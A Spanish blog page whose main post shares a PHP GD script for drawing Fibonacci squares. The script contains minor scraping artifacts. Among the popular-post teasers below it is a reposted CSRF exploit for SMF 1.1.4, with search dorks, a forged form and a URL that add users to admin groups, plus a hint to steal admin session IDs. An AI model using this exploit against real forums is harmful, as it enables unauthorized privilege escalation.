Ir al contenido principal

Generar gráfico a partir de fibonacci con PHP

Hola,

De ves en cuando me pongo a programar cosas que no sirvan para nada, o que solo sirvan para mi distracción (sí, trabajo programando y me distraigo del trabajo programando :P),  y hace tiempo pensé en hacer un código que generara fractales.

Se que hay varias formulas ya hechas para los fractales, pero yo pensaba idear algo más, entonces me pareció oportuno empezar con la generación y graficación de la serie fibonacci.

Les dejo el código y la imagen de ejemplo que se genera, ustedes pueden modificar en el código las iteraciones que quieran, para que sea más grande o más pequeño, eso directamente en el for.

Pueden también seleccionar que los rectangulos sean rellenados o solo el contorno.

Pueden ajustar el tamaño del lienzo, en este caso lo dejé muy grande (12000x6150), pero eso lo ajustan directo en las primeras opciones.

Les dejo el código pegado aquí y también en pastebin, por que Blogger no tiene gestión para code (creo yo).

 Clic derecho, abrir en nueva pestaña la imagen para ver a tamaño completo :D
http://kaguamedia.com/fibonacci.jpg -> enlace a tamaño completo (blogger la redimensiona)

Enlace Pastebin: http://pastebin.com/ZTaeYk2a

//Tamaño del lienzo
$a=12000;
$b=6150;

//Tamaño del cuadro inicial
$cuadroInicial = 10;

//definimos el lienzo
$lienzo = imagecreatetruecolor($a, $b);

//se definen los valores iniciales de la posición, se toma el centro
$x1Inicial = $a/2-($cuadroInicial/2);
$y1Inicial = $b/2-($cuadroInicial/2);
$x2Inicial = $a/2+($cuadroInicial/2);
$y2Inicial = $b/2+($cuadroInicial/2);

//para inicializar la secuencia de fibonacci
$n1=1;
$n2=0;

$espaciado = 10;


//Asignamos el sentido inicial
$sentido = 'inicial';

for($i=0;$i<=13;$i++)
{
$suma = $n1+$n2;
$n1=$n2;
$n2=$suma;
#echo $suma . " ";

$ti = $cuadroInicial*$suma; //Esta variable lleva de forma correcta el tamaño del cuadrado que se genera
$tiValores[$i] = $cuadroInicial*$suma;
$color = imagecolorallocate($lienzo, rand(10,210), rand(10,210), rand(10,210));


$x1anterior = $x1Inicial;
$x2anterior = $x2Inicial;
$y1anterior = $y1Inicial;
$y2anterior = $y2Inicial;

///*
// para definir en que sentido aumenta el cuadrado
if ($sentido == 'derecha' && $i<2 p="">
{
$x1Inicial = $x1Inicial+$ti; //caso derecha primer iteración
$x2Inicial = $x1Inicial+$ti; //caso derecha primer iteración
}
else
{
if ($sentido == 'derecha')
{
$x1Inicial = $x2anterior;
$x2Inicial = $x1Inicial+$ti;
$y1Inicial = $y2anterior;
$y2Inicial = $y1Inicial-$ti;
}
elseif ($sentido == 'arriba')
{
//reacomodando una variable para que vuelva a ser el eje guía
if ($i>3)
$y1anterior=$y2anterior;

$x1Inicial = $x2anterior;
$x2Inicial = $x1Inicial-$ti;
$y1Inicial = $y1anterior;
$y2Inicial = $y1Inicial-$ti;
}
elseif ($sentido == 'izquierda')
{
$x1Inicial = $x2anterior;
$x2Inicial = $x1Inicial-$ti;
$y1Inicial = $y2anterior;
$y2Inicial = $y1Inicial+$ti;
}
elseif ($sentido == 'abajo')
{
$x1Inicial = $x2anterior;
$x2Inicial = $x1Inicial+$ti;
$y1Inicial = $y2anterior;
$y2Inicial = $y1Inicial+$ti;
}
}

imagefilledrectangle($lienzo, $x1Inicial, $y1Inicial, $x2Inicial, $y2Inicial, $color);
#imagerectangle($lienzo, $x1Inicial, $y1Inicial, $x2Inicial, $y2Inicial, $color);

imagestring($lienzo, 5, 5, $espaciado,  "Iteracion $i - x1: $x1Inicial, x2: $x2Inicial, y1: $y1Inicial, y2: $y2Inicial $sentido suma: $suma cuadroinicial: $ti", $color);
$espaciado = $espaciado+20;
//Para definir el sentido de la imagen
if ($sentido=='inicial')
$sentido = 'derecha';
elseif ($sentido=='derecha')
$sentido = 'arriba';
elseif ($sentido=='arriba')
$sentido = 'izquierda';
elseif ($sentido == 'izquierda')
$sentido = 'abajo';
else
$sentido = 'derecha';


// Imprimir y liberar memoria

}
header('Content-Type: image/jpeg');

imagejpeg($lienzo);
imagedestroy($lienzo);

?>

PD. Si, hay programas que hacen esto y facilitan la vida con un solo clic, pero yo quería programarlo :P

PD2, Espero pronto pueda hacer el código para la generación de fractales, serán "personalizados", la idea que tengo está buena! :D

Comentarios

Entradas populares de este blog

Solución [fix] a hamachi Logging in .. failed, busy

Hola!

Aquí con una pequeña entrada, pero que a más de uno le será útil.

Tengo hamachi instalado en varias máquinas, pero en una precisamente al reiniciar, algunas veces me da este problema:

usuarioserver@server:~$ sudo hamachi login
[sudo] password for usuarioserver:
Logging in .. failed, busy

Lo busqué en internet y la "solución" que dan, es reinstalar hamachi, y para los que han instalado hamachi en ubuntu, saben que no es una opción, pues se tendrían que hacer estos pasos: 
sudo apt-get remove logmein-hamachi sudo dpkg -i logmein-hamachixxx.deb sudo apt-get install -f
Para lo cual (siempre) es molesto hacer esos pasos, y algunas veces la configuración se llega a perder. 
Para solucionar ese problema, basta con hacer un: 
sudo /etc/init.d/logmein-hamachi force-reload
Esto forzará el reinicio de hamachi, y así después hacen: 
sudo hamachi login
Y listo, el problema de failed busy desaparece y los deja loguear bien en la red de hamachi. 
Espero les sirva! :D 
Saludos 
Komtec…

Integrar API de Google Maps, archivos kml, kmz y otras fumarolas :D

Ya que andamos en eso de la posteada ahora les voy a dejar un pequeño manual sobre como integrar la API de maps (google) dentro de nuestro código, hay varia documentación en la página developers de google, pero realmente lo que uno busca cuando pone en google: "integrar api de maps" es ver un ejemplo claro y directo para que se pueda entender de mejor forma.

Así que pues ya comentada la información de arriba les paso a dejar un ejemplo.

Lo primero que tenemos que poner en nuestro código es la llamada a la API de maps:


<script type="text/javascript" src="http://maps.googleapis.com/maps/api/js?sensor=false&language=es"></script>En este caso la variable sensor está en false, esto nos indica que no hay un dispositivo gps que pueda tomar la ubicación (se pone generalmente en true cuando es para aplicación movil, llámese celular o tableta)El lenguaje declaramos español, esto es para los menús que se van a mostrar en el mapa. Una vez que tenemo…

SMF 1.1.4 - Add User In Group [CSRF]

Bueno en primera este post lo saque de remoteexecution.es el link es este:

http://www.remoteexecution.es/foro/index.php?topic=879

Dork: "SMF 1.1.4"
Dork (SID): inurl:index.php inurl:sid= "SMF 1.1.4"


< h t m l >
< h e a d >
< b o d y >
< action="http://adress.com/path/index.php?action=membergroups;sa=members;group=GroupID" method="post" type="text" name="toAdd" id="toAdd" size="30">
< type="submit" name="add" value="Add Members">
< type="hidden" name="sc" value="ADMIN SESSION ID">
< /form>
< /body>
< /html>

o si no tambien se puede usar

forum/path/index.php?action=membergroups;sa=members;group=groupid;toAdd=usertoadd&add=Add+Members&sc=sid
by Syntacks!

Todo lo que usted necesita es administrador identificación de la sesión (SID), intentan engañar a los admin (utilizando cookie stealer etc ..)

|| …